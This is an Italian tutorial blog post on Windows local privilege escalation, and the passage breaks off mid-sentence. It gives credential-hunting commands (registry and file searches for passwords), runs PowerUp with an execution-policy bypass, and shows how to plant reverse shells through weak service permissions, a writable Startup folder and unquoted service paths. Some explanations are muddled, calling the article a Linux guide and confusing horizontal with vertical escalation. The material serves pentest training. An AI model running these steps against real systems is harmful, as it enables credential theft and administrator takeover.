Guida alla Privilege Escalation nei sistemi Windows

Tempo di lettura: 9 minuti

In questo articolo andrò ad elencare alcune tra le principali tecniche di Privilege Escalation nei sistemi operativi Windows. Per chi non sapesse cosa sia, la privilege escalation (intesa come sorpasso delle autorizzazioni) è l’aumento di privilegi che si possiedono tramite particolari tecniche, come lo sfruttamento di un exploit o di un bug, al fine di poter eseguire azioni che prima non si potevano effettuare. Esistono due tipologie di privilege escalation:

  1. Verticale
  2. Orizzontale

Per quanto riguarda la prima, è quando un utente con determinati permessi, riesce ad effettuare azioni privilegiate senza (in teoria) averne la possibilità. Nel caso specifico, se su una macchina abbiamo un utenza normale, sfruttando una misconfigurazione, riusciamo ad ottenere permessi di root.

  Esempio di Privilege Escalation verticale
Esempio di Privilege Escalation verticale

Nel caso della scalate verticale, è quando un utente con permessi su determinate aree del sistema, riesce ad ottenere i permessi su altre aree del sistema. Ad esempio è come se in un servizio bancario, riuscissi a visualizzare il conto corrente di un altro utente.

In questo articolo andremo ad analizzare la scalate verticale nei sistemi Linux, ossia come poter sfruttare determinate tecniche per ottenere i privilegi di root.

Metodologia

Come ogni buon processo che si rispetti, anche in questo caso esiste una particolare metodologia e dei passi precisi da eseguire:

  1. Collezionare informazioni: è la parte fondamentale, e consiste nell’enumerazione del sistema, dei file e nell’ottenere più informazioni possibili dal sistema
  2. Processare informazioni: consiste nell’analizzare tutte le informazioni trovate nella fase precedente, al fine di prioritizzarle
  3. Ricerca e approfondimento: una volta ottenute e analizzate le informazioni, bisogna capirle al meglio e trovare il codice vulnerabile, il bug o la misconfigurazione che ci potrebbe permettere l’escalation
  4. Adattamento: se la casistica in esame non è standard, dovremmo adattare l’exploit o scriverne uno al fine di ottenere il risultato sperato
  5. Tentativo: utilizzare ciò che è stato trovato o creato e provare la scalata. Se non funziona, ripartire dall’approfondimento di un altra informazione.

Collezionare informazioni

Una volta ottenuta una connessione con il sistema vittima (ad esempio con una reverse shell), bisogna porsi una serie di domande, come:

  • Che sistema operativo è?
  • Che programmi ci sono installati?
  • Ci potrebbero essere password salvate in chiaro o con permessi laschi?
  • e via discorrendo..

A queste domande si può rispondere con una serie di comandi, come:

  • Versione del sistema operativo e informazioni base
    • systeminfo | findstr /B /C:“OS Name” /C:“OS Version”
    • hostname
    • echo %username%
  • Configurazioni di rete
    • net users
    • net users usersname
    • ipconfig /all
    • route print
    • arp -A
    • netstat -ano
  • Servizi attivi
    • schtasks /query /fo LIST /v
    • tasklist /SVC
    • net start
  • File di configurazione
    • type C:\sysprep.inf
    • type C:\sysprep\sysprep.xml
    • type %WINDIR%\Panther\Unattend\Unattended.xml
    • type %WINDIR%\Panther\Unattended.xml
    • type C:\Windows\system32\sysprep\sysprep.xml
    • type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
    • type C:\inetpub\wwwroot\web.config
  • Ricerca Password
    • reg query HKCU /f password /t REG_SZ /s
    • reg query HKLM /f password /t REG_SZ /s
    • findstr /si password *.txt
    • findstr /si password *.xml
    • findstr /si password *.ini

Molto similarmente alla guida su Linux, i comandi sono molteplici e consistono principalmente nell’enumerazione del sistema e nel capire in che ambiente ci troviamo. Alcuni programmi che eseguono automaticamente operazioni di enumerazione sono BeRoot, laZagne, PowerUp e WindowsPrivCheck.

Una volta mappato l’ambiente, le tipologie di Privilege escalation negli ambienti Windows sono molteplici, tra le quali:

  1. Stored Credentials: consiste sostanzialmente nella ricerca di password salvate in chiaro nel sistema che ci possano aiutare a scalare i privilegi;
  2. Kernel Exploit: come per Linux, ci sono diversi exploit per la Privilege Escalation, basta trovare la versione vulnerabile;
  3. DLL Injection: è una tecnica particolare, che permette di eseguire codice arbitrario nel contesto dello spazio di indirizzo di un altro processo. Per chi volesse approfondire, consiglio DLL Injection;
  4. Weak Permission: se un programma viene installato nel sistema con permessi errati, i quali ci vengono incontro per aumentare i privilegi;
  5. Unquoted Service Path: negli ambienti Windows, all’avvio di un servizio, il sistema cerca di trovare la posizione dell’eseguibile per avviare con successo il servizio. Se l’eseguibile è racchiuso nei tag "" allora il sistema lo trova immediatamente, ma, se il percorso non contiene le “”, Windows cercherà di trovarlo ed eseguirlo all’interno di ogni cartella di questo percorso fino a quando non raggiunge l’eseguibile. In questo caso, è possibile eseguire attacchi di Privilege Escalation (un approfondimento è presente qui);
  6. Weak Service: molto simile a weak permission.

So che buttati a caso in un elenco dicono poco…vediamo qualche esempio pratico!

Weak Permission

Uno degli errori più comuni è impostare permessi troppo laschi ad una cartella o file che sarà poi eseguito da un utente con privilegi di amministrazione. Ad esempio, se digito

cacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

si può vedere dalla prima riga, che gli utenti appartenenti a “User” hanno completo accesso alla cartella (lettera F). In questo modo, basterà copiare la nostra reverse shell all’interno della cartella, riavviare la macchina (o disconnettersi dallla sessione) e si avrà una sessione amministrativa

Weak Service

Utilizzando lo script di PowerUp abbiamo la possibilità di cercare servizi vulnerabili. Per eseguirlo, se digito

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks|Out-File -Encoding ASCII checks.txt}"

verrà eseguito powershell, bypassando possibili controlli, in background e in modo tale da avere l’output scritto su un file di testo. Guardando all’interno del file, è stato controllato un servizio ed è risultato con permessi misconfigurati.

Servizio con permessi errati
Servizio con permessi errati

Per verificare i permessi del servizio, carico sulla macchina AccessChk, che serve per verificare i permessi sui file, registri, servici, etc.

Permessi del servizio
Permessi del servizio

Come si può notare dall’immagine, chiunque può modificare i dettagli del servizio. Andiamo quindi ad indagare quali sono con il tools sc.

Configurazione del servizio
Configurazione del servizio

Per poter ottenere i privilegi di root, ci basterà modificare il PATH del binario con una nostra reverse shell, fermare e riavviare il servizio. In questo modo esso si avvierà come amministratore, e ci permetterà di diventare tali.

sc config daclsvc binpath= "C:\Users\luca\Downloads\reverse.exe"




sc stop daclsvc #In questo momento andremo ad avviare netcat sulla nostra macchina




sc start daclsvc
E siamo diventati amministratori.
E siamo diventati amministratori.

Unquoted Service Path

Sempre tramite l’outpur di PowerUP, viene mostrato come vari servizi non abbiano le virgolette, andando a descrivere il path errato.

Path senza virgolette
Path senza virgolette

In questo modo, basterà andare a a copiare un file con il nome di “common” e questo verrà eseguito, poichè il sistema andrà a cercarne uno con quel nome.

Copio la mia solita reverse shell, mi metto in ascolto sulla porta e faccio partire il servizio

Privilegi di amministratore ottenuti!
Privilegi di amministratore ottenuti!

Conclusioni

Per chi volesse esercitarsi con altri esercizi, gli esempi illustrati nell’articolo sono stati presi da Windows Local Privilege Escalation Workshop, che contiene altri esercizi pratici per imparare. Altre fonti utili per approfondire l’argomento sono:

  1. https://h4ck.co/wp-content/uploads/2017/11/PowerUp.pdf
  2. http://pentest.tonyng.net/windows-privilege-escalation/
  3. http://pwnwiki.io/#!privesc/windows/uac.md
  4. http://www.greyhathacker.net/?p=738
  5. http://pwnwiki.io/#!privesc/windows/index.md
  6. http://www.fuzzysecurity.com/tutorials/16.html

Ho trovato molto utili anche dei video, come: